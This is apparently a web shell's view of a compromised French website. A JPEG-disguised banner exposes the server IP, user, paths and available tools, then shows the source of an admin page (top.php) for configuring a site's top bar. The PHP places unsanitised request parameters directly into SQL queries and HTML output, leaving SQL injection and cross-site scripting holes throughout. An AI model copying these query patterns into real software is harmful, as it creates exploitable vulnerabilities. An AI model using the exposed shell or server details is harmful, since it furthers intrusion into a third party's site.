ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/sophie-justin.fr/cp-admin/ |
Upload File : |
<?php
require_once('includes/header.php');
require_once('includes/menu.php');
$th = $_GET['th'];
$th_name = $_GET['th_name'];
$lg_status = $_GET['lg_status'];
/////////////////////////////////////////////////
if (isset($_POST['addt'])) {
$th = $_POST['th'];
$sql = "SELECT name FROM ".$GLOBALS['db_table']['themes']." WHERE id='$th'";
$result = $GLOBALS['bdd']->query($sql);
$result = $result->fetchAll();
for($i=0; $i<count($result); $i++) {
$th_name = $result[$i]['name'];
}
}
////////////////////////////////////////////////
if (isset($_GET['online'])) {
$th = $_GET['th'];
$th_name = $_GET['th_name'];
$lg_status = $_GET['lg_status'];
$page_id = $_GET['online'];
$values = array(
'status' => '1'
);
update_posted_data($values, $page_id, $GLOBALS['db_table']['top']);
}
///////////////////////////////////////////////
if (isset($_GET['offline'])) {
$th = $_GET['th'];
$th_name = $_GET['th_name'];
$lg_status = $_GET['lg_status'];
$page_id = $_GET['offline'];
$values = array(
'status' => '0'
);
update_posted_data($values, $page_id, $GLOBALS['db_table']['top']);
}
///////////////////////////////////////////////
if (isset($_POST['addf'])) {
$th = $_POST['th'];
$th_name = $_POST['th_name'];
$lg_status = $_POST['lg_status'];
$values = array(
'Couleur_tool' => $_POST['Couleur_tool']
);
update_posted_data($values, $th, $GLOBALS['db_table']['themes_empreinte']);
update_posted_data($values, $th, $GLOBALS['db_table']['themes']);
}
/////////////////////////////////////////////
if (isset($_POST['add'])) {
$id_tem = $_POST['id_tem'];
$couleur = $_POST['couleur'];
$couleur_hov = $_POST['couleur_hov'];
$taille = $_POST['taille'];
$idd = $_POST['idd'];
$th = $_POST['th'];
$th_name = $_POST['th_name'];
$lg_status = $_POST['lg_status'];
$values = array(
'couleur' => $_POST['couleur'],
'couleur_hov' => $_POST['couleur_hov'],
'taille' => $_POST['taille']
);
update_posted_data($values, $idd, $GLOBALS['db_table']['top']);
}
////////////////////////////////////////////////
if (isset($_GET['Aonline'])) {
$th = $_GET['th'];
$th_name = $_GET['th_name'];
$lg_status = $_GET['lg_status'];
$sql = "UPDATE ".$GLOBALS['db_table']['top']." SET favori='0' where id_teme='$th'";
$GLOBALS['bdd']->exec($sql);
$page_id = $_GET['Aonline'];
$values = array(
'favori' => '1'
);
update_posted_data($values, $page_id, $GLOBALS['db_table']['top']);
}
///////////////////////////////////////////////
if (isset($_GET['Aoffline'])) {
$th = $_GET['th'];
$th_name = $_GET['th_name'];
$lg_status = $_GET['lg_status'];
$page_id = $_GET['Aoffline'];
$sql = "UPDATE ".$GLOBALS['db_table']['top']." SET favori='0' where id_teme='$th'";
$GLOBALS['bdd']->exec($sql);
$values = array(
'favori' => '0'
);
update_posted_data($values, $page_id, $GLOBALS['db_table']['top']);
}
///////////////////////////////
if (isset($_POST['indexx'])) {
$indexx = $_POST['indexx'];
$th = $_POST['th'];
$th_name = $_POST['th_name'];
$lg_status = $_POST['lg_status'];
$idd = "1";
$values = array(
'page_topsite' => $_POST['indexx']
);
update_posted_data($values, $idd, $GLOBALS['db_table']['info']);
header('Location: ./top.php?ide='.$th.'&th='.$th.'&th_name='.$th_name.'&lg_status='.$lg_status.'');
}
////////////////////////////////////////////////
/// couleur fond
$list = get_theme_conf($th);
for($i=0; $i<count($list); $i++) {
$Couleur_tool = $list[$i]['Couleur_tool'];
}
$list = get_select(array('table'=>'info', 'where1'=>'id', 'where2'=>'1'));
$indexx = $list[0]['page_topsite'];
?>
<div class="container">
<div class="row">
<div class="span12">
<div class="page-header">
<h1>Gestion du TOPSITE <?php echo$th_name; ?></h1>
</div>
</div>
</div>
<?php if ($lg_status < 1) { ?>
<div class="alert alert-danger"><i class="fa fa-check-circle"></i>
Votre Top est désactivé ! Cliquez sur [Retour schéma] pour l'activer !</i><button type="button" class="close" data-dismiss="alert">×</button>
</div>
<?php } else { ?>
<div class="alert alert-success"><i class="fa fa-check-circle"></i>
Faites vos couleurs du Top et organisez les positions ! Le favori mobile sera sera centré en mode mobile.</i><button type="button" class="close" data-dismiss="alert">×</button>
</div>
<?php } ?>
<div class="pull-right">
<a href="theme_shema.php?ide=<?php echo$th ?>&th_name=<?php echo$th_name ?>" class="btn btn-primary"><i class="icon-arrow-left"></i> Retour au schéma</a>
</div>
<br /><br />
<br />
<?php
/*
echo'<form class="form-horizontal" name="form11" method="post" action="./top.php" > ';
echo ' <input type="hidden" name="addt" value="1">';
echo '<div class="control-group">';
echo '<label class="control-label" for="title">Choix du thème : </label>';
echo '<div class="controls">';
echo '<select name="th" class="chosen-select" style="width:300px;" OnChange="document.form11.submit();">';
if($th=='') { echo '<option value=""'; echo 'selected'; echo '>Sélection </option>'; }
$sql = "SELECT * FROM ".$GLOBALS['db_table']['themes']."";
$result = $GLOBALS['bdd']->query($sql);
$result = $result->fetchAll();
for($i=0; $i<count($result); $i++) {
$ids = $result[$i]['id'];
$namet = $result[$i]['name'];
$status = $result[$i]['status'];
if ($status < 1) {$stat = "(Thème Bloqué !)"; } else { $stat = ""; }
echo '<option value="'.$ids.'"'; if($th==$ids)echo 'selected'; echo '>'.$namet.' '.$stat.'</option>';
}
echo '</select>';
echo ' ';
echo '</div>';
echo '</div>';
echo'</form>';
*/
?>
<br /><br /><br /><h3>1- Activer et Modifier les couleurs et tailles des éléments du topsite pour le thème <?php echo$th_name; ?></h3>
<br />
<?php
if ($th >0){
echo'<form class="form-horizontal" method="post" action="./top.php" > ';
echo ' <input type="hidden" name="th" value="'.$th.'">';
echo ' <input type="hidden" name="th_name" value="'.$th_name.'">';
echo ' <input type="hidden" name="lg_status" value="'.$lg_status.'">';
echo '<div class="control-group">';
echo '<label class="control-label" for="title">Background : </label>';
echo '<div class="controls">';
echo ' <input type="text" class="color" name="Couleur_tool" style="width:65px;" value="'.$Couleur_tool.'">';
echo' <button type="submit" name="addf" class="btn btn-success" style=""> Sauvegarder</button>';
echo '</div>';
echo '</div>';
echo'</form>';
?>
<table id="" class="table table-bordered spantableau_90">
<thead>
<tr>
<th class="span1 center">Nom</th>
<th class="span1 center">Couleur</th>
<th class="span1 center">Couleur hover</th>
<th class="span1 center">Taille</th>
<th class="span2 center">Bloquer ou débloquer</th>
</tr>
</thead>
<tbody>
<?php
$nb_status = "0";
$requete = $bdd->query("SELECT * FROM top WHERE id_teme = '$th' ORDER BY position");
if ($row = $requete->fetch()) {
do {
$id = $row['id'];
$position = $row['position'];
$title = $row['title'];
$couleur = $row['couleur'];
$couleur_hov = $row['couleur_hov'];
$taille = $row['taille'];
$id_tem = $row['id_teme'];
$lestatus = $row['status'];
$nb_status = $nb_status + $lestatus;
echo'<form class="form-horizontal" method="POST" action="./top.php" > ';
echo ' <input type="hidden" name="id_tem" value="'.$id_tem.'">';
echo ' <input type="hidden" name="idd" value="'.$id.'">';
echo ' <input type="hidden" name="th" value="'.$th.'">';
echo ' <input type="hidden" name="th_name" value="'.$th_name.'">';
echo ' <input type="hidden" name="lg_status" value="'.$lg_status.'">';
echo' <tr>';
echo '<td class="span1 font12 center">';
echo '<b>'.$title.'</b></td>';
echo '<td class="center">';
echo ' <input type="text" class="color" name="couleur" style="width:65px;" value="'.$couleur.'">';
echo '</td>';
echo '<td class="span1 font12 center">';
if (($title !=="Telephone") && ($title !=="Search")){
echo ' <input type="text" class="color" name="couleur_hov" style="width:65px;" value="'.$couleur_hov.'">';
}
echo '</td>';
echo '<td class="span1 font12 center">';
echo ' <input type="text" name="taille" style="width:65px;" value="'.$taille.'"> px';
echo '</td>';
echo '<td class="center">';
echo'<button type="submit" name="add" class="btn btn-success" style=""> Sauvegarder</button>';
echo ' ';
echo ' ';
echo ' ';
echo ' ';
echo ' ';
echo ' ';
echo ' ';
echo ' ';
if($row['status'] == 0)echo '<a href="./top.php?online='.$row['id'] .'&id_tem='.$id_tem.'&th='.$th.'&th_name='.$th_name.'&lg_status='.$lg_status.'"><img src="assets/img/offline.png" title=""></a>';
else echo '<a href="./top.php?offline='.$row['id'].'&id_tem='.$id_tem.'&th='.$th.'&th_name='.$th_name.'&lg_status='.$lg_status.'"><img src="assets/img/online.png" title=""></a>';
echo ' ';
echo '</td>';
echo'</tr>';
echo'</form>';
}while ($row = $requete->fetch());
} else {
echo '<span style="color:#CC0000"><b> Sélectionnez un thème !</b></span>';
}
?>
</tbody>
</table>
<br /><br /><br /><br />
<h3>2- Mettre en favori pour le mobile et ordonner les éléments du top pour le thème <?php echo$th_name; ?></h3>
<script type="text/javascript">
$(document).ready(function() {
$("#sortlist").Sortable({
accept: 'dragDrop',
opacity: 0.6,
axis : 'horizontally',
onchange : function ( sorted ) {
serial = $.SortSerialize ('sortlist');
// requète Ajax pour l'enregistrement des positions
$.ajax ( {
url : "includes/set_position.php?table=top",
type : "post",
data : serial.hash
});
}
});
});
</script>
<table id="sortlist" class="table table-bordered table-striped spantableau_90">
<thead>
<tr>
<th class="span1 center" style="width:55%"><i>Classer l'ordre par la fonction Glisser. Il apparait de gauche à droite sur le site.</i></th>
<th class="span1 center"><i>Modifier l'élément</i></th>
<th class="span1 center"><i>Favori mobile</i></th>
</tr>
</thead>
<tbody>
<?php if ($nb_status =="1") { ?>
<div class="alert alert-danger"><i class="fa fa-check-circle"></i>
ATTENTION : vous n'avez qu'UN élément, il sera centré sur le site.</i><button type="button" class="close" data-dismiss="alert">×</button>
</div>
<?php }
if ($nb_status =="2") { ?>
<div class="alert alert-danger"><i class="fa fa-check-circle"></i>
ATTENTION : vous n'avez que DEUX éléments, ils seront à gauche et à droite sur le site. <b>Utiliser les positions 1 et 4</b></i><button type="button" class="close" data-dismiss="alert">×</button>
</div>
<?php }
if ($nb_status =="3") { ?>
<div class="alert alert-danger"><i class="fa fa-check-circle"></i>
ATTENTION : vous n'avez que TROIS éléments, ils seront : au centre, à gauche et à droite sur le site. <b>Utiliser les positions 1, 2 et 4</b></i><button type="button" class="close" data-dismiss="alert">×</button>
</div>
<?php }
echo'<form class="form-horizontal" name="form11" method="post" action="./top.php" >';
echo ' <input type="hidden" name="th" value="'.$th.'">';
echo ' <input type="hidden" name="th_name" value="'.$th_name.'">';
echo ' <input type="hidden" name="lg_status" value="'.$lg_status.'">';
$requete = $bdd->query("SELECT * FROM top WHERE id_teme = '$th' ORDER BY position");
if ($row = $requete->fetch()) {
do {
$id = $row['id'];
$position = $row['position'];
$title = $row['title'];
$fav = $row['favori'];
$status = $row['status'];
echo' </p>
</p>
<tr class="dragDrop" id="img_'.$id.'" title="'.$title.'" style="cursor : ns-resize;">';
echo '<td class="span1 font12 center">';
echo ''.$title.'</td>';
echo '<td class="span1 font12 center">';
if ($status >0) {
if ($title == "Telephone"){
echo ' <a href="./informations.php?th='.$th.'&th_name='.$th_name.'&lg_status='.$lg_status.'" title="" data-toggle="tooltip" class="btn btn-primary"><i class="fa fa-pencil-square-o"></i> Raccourci</a>';
}
if ($title == "Search"){
echo ' <a href="./variables.php?th='.$th.'&th_name='.$th_name.'&lg_status='.$lg_status.'" title="" data-toggle="tooltip" class="btn btn-primary"><i class="fa fa-pencil-square-o"></i> Raccourci</a>';
}
if ($title == "Blog bouton"){
echo ' <a href="./variables.php?th='.$th.'&th_name='.$th_name.'&lg_status='.$lg_status.'" title="" data-toggle="tooltip" class="btn btn-primary"><i class="fa fa-pencil-square-o"></i> Raccourci</a>';
}
if ($title == "Reseaux sociaux"){
echo ' <a href="./facebook.php?th='.$th.'&th_name='.$th_name.'&lg_status='.$lg_status.'" title="" data-toggle="tooltip" class="btn btn-primary"><i class="fa fa-facebook"></i></a>';
echo ' <a href="./twitter.php?th='.$th.'&th_name='.$th_name.'&lg_status='.$lg_status.'" title="" data-toggle="tooltip" class="btn btn-primary"><i class="fa fa-twitter"></i></a>';
echo ' <a href="./instagram.php?th='.$th.'&th_name='.$th_name.'&lg_status='.$lg_status.'" title="" data-toggle="tooltip" class="btn btn-primary"><i class="fa fa-instagram"></i></a>';
echo ' <a href="./pinterest.php?th='.$th.'&th_name='.$th_name.'&lg_status='.$lg_status.'" title="" data-toggle="tooltip" class="btn btn-primary"><i class="fa fa-pinterest"></i></a>';
echo ' <a href="./googleplus.php?th='.$th.'&th_name='.$th_name.'&lg_status='.$lg_status.'" title="" data-toggle="tooltip" class="btn btn-primary"><i class="fa fa-google-plus-square"></i></a>';
echo ' <a href="./skype.php?th='.$th.'&th_name='.$th_name.'&lg_status='.$lg_status.'" title="" data-toggle="tooltip" class="btn btn-primary"><i class="fa fa-skype"></i></a>';
}
} else {
echo'Bloqué';
}
echo '</td>';
echo '<td class="span1 font12 center">';
if ($status >0) {
if($row['favori'] == 0)echo '<a href="./top.php?Aonline='.$row['id'] .'&id_tem='.$id_tem.'&th='.$th.'&th_name='.$th_name.'&lg_status='.$lg_status.'"><img src="assets/img/offline.png" title=""></a>';
else echo '<a href="./top.php?Aoffline='.$row['id'].'&id_tem='.$id_tem.'&th='.$th.'&th_name='.$th_name.'&lg_status='.$lg_status.'"><img src="assets/img/online.png" title=""></a>';
echo ' ';
} else {
echo'Bloqué';
}
echo '</td>';
echo '</tr>';
}while ($row = $requete->fetch());
} else {
echo '';
}
?>
</tbody>
</table>
</form>
<br />
<br />
<br />
<br />
<h3>3- Ce que vous pouvez faire...</h3> <br />
Le topsite est composé de 4 colonnes c'est à dire qu'il est possible d'y insérer 4 éléments.
<br /><br />
Danc le cas ou seulement 3 éléments sont sélectionnés le bootstrap passe automatiquement en format 3 colonnes.
<br />
Sur un mobile, le favori choisi sera affiché au centre.
<br /><br />
Tous les Css nécessaires à des compléments de style sont dans : Outils + Web / Explorateur / Business / Business / feuille rose global-css
<br />
Toutes les variables et pages sont multilangues.
<br /><br />
NOTE : pour augmenter la hauteur du topsite modifez dans le Css (feuille rose) la classe : topsite.
<br /><br /><b>
Vous pouvez ci-dessous insérer la page fixe Topsite à la place des éléments <font color="#FF0000">CES ELEMENTS DOIVENT ETRE BLOQUES !!!</font>
<br />
Idéal pour faire un petit menu ou autres liens. Votre page dynamique devra être bloquée bien entendu. (<i>voir notre exemple avec la page : topsite</i>).
<br />
Cette page devra comporter une seule ligne ! (Pensez à adapter votre couleur de background !)
</b>
<br />
<br />
<?php
echo'<form class="form-horizontal" name="form12" method="post" action="./top.php" >';
echo ' <input type="hidden" name="th" value="'.$th.'">';
echo ' <input type="hidden" name="th_name" value="'.$th_name.'">';
echo ' <input type="hidden" name="lg_status" value="'.$lg_status.'">';
?>
<div class="control-group">
<label class="control-label" for="title">Choix de la page : <?php echo$seoC; ?></label>
<div class="controls">
<select name="indexx" OnChange="document.form12.submit();">
<?php
echo '<option value="0"'; if($indexx == "0")echo ' selected'; echo '>Aucune</option>';
echo '<option value="1"'; if($indexx == "1")echo ' selected'; echo '>Topsite</option>';
?>
</select>
</div>
</div>
</form>
</div>
<?
}
include_once('includes/footer.php');
?>